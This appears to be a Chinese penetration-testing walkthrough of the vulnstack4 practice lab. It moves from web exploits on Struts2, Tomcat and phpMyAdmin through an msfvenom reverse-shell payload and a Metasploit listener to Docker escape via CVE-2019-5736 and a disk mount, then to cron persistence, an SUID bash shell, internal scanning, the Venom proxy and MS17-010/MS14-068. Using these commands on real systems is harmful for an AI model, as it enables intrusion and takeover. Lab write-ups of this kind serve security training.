红日靶场4 vulnstack4
环境搭建
虚拟机设置主机
ubuntu NAT+VM6,其它都是VM6内网
目标端
ubuntu
IP1: 192.168.43.133
IP2: 192.168.183.128
ubuntu:ubuntu
win7
IP: 192.168.183.129
douser:Dotest123
DC
IP: 192.168.183.130
administrator:Test2008
攻击端
kali 192.168.43.130
ubuntu准备
1、开启struts2服务
1 | cd /home/ubuntu/Desktop/vulhub/struts2/s2-045 |
2、开启tomcat服务
1 | cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615 |
3、开启phpmyadmin服务
1 | cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613 |
外网
信息收集
nmap -sT -sV 192.168.43.133
s2-045
phpmyadmin,tomcat
https://www.cnblogs.com/miraitowa666/p/14840838.html
1 | PUT /shell.jsp/ |
我们这个时候拿了权限,直接上msf
内网
MSF
生成木马
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.43.130 LPORT=4444 -f elf > shell.elf
起个http服务
执行命令下载
赋权再执行
1 | use exploit/multi/handler |
执行下,可以看到上线了
容器是通过 cgroup 实现资源限制,判断容器是否在一个 cgroup 组中
使用下面命令,查看是否存在 dockerrnv 文件
ls -alh /.dockerenv
docker逃逸(CVE-2019-5736)
建议在这之前做个快照,因为攻击完成会影响docker运行
这个时候得考虑docker逃逸
cve-2019-5736
利用CVE-2019-5736进行docker逃逸
下载并编译main.go脚本,生成攻击payload: https://github.com/Frichetten/CVE-2019-5736-PoC
打开main.go脚本,将执行的命令替换成反弹shell命令
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
msf上传
赋权执行
模拟复现
docker(挂载磁盘逃逸)
当docker容器内拥有宿主机文件读写权限时,可以通过写ssh密钥、计划任务等方式达到逃逸。
查看磁盘文件: fdisk -l
新建目录以备挂载: mkdir /test
将宿主机/dev/sda1 目录挂载至容器内 /test: mount /dev/sda1 /test
即可写文件获取权限或数据
写反弹shell脚本
1 | touch /test/tmp/test.sh |
写入任务计划
1 | sed -i '$a*/2 * * * * root bash /tmp/test.sh ' /test/etc/crontab |
加个用户,再给个suid shell
1 | cp /bin/bash /tmp/shell |
即可root权限
横向渗透
弹个shell给msf
fscan
这边可以直接传个fscan上去扫描
报了域控和ms17-010
venom
这边起个venom
https://github.com/Dliv3/Venom/releases/tag/v1.1.0
./admin_linux_x64 -lport 6666
把agent传上去
进入节点,起个代理
然后msf直接设置代理来攻击
然后拿下主机后就是ms14-068和抓hash
具体参考
win7的IP一直不能改,懒得提权改了,后面的和和前面的横向移动都差不多,主要是docker有意思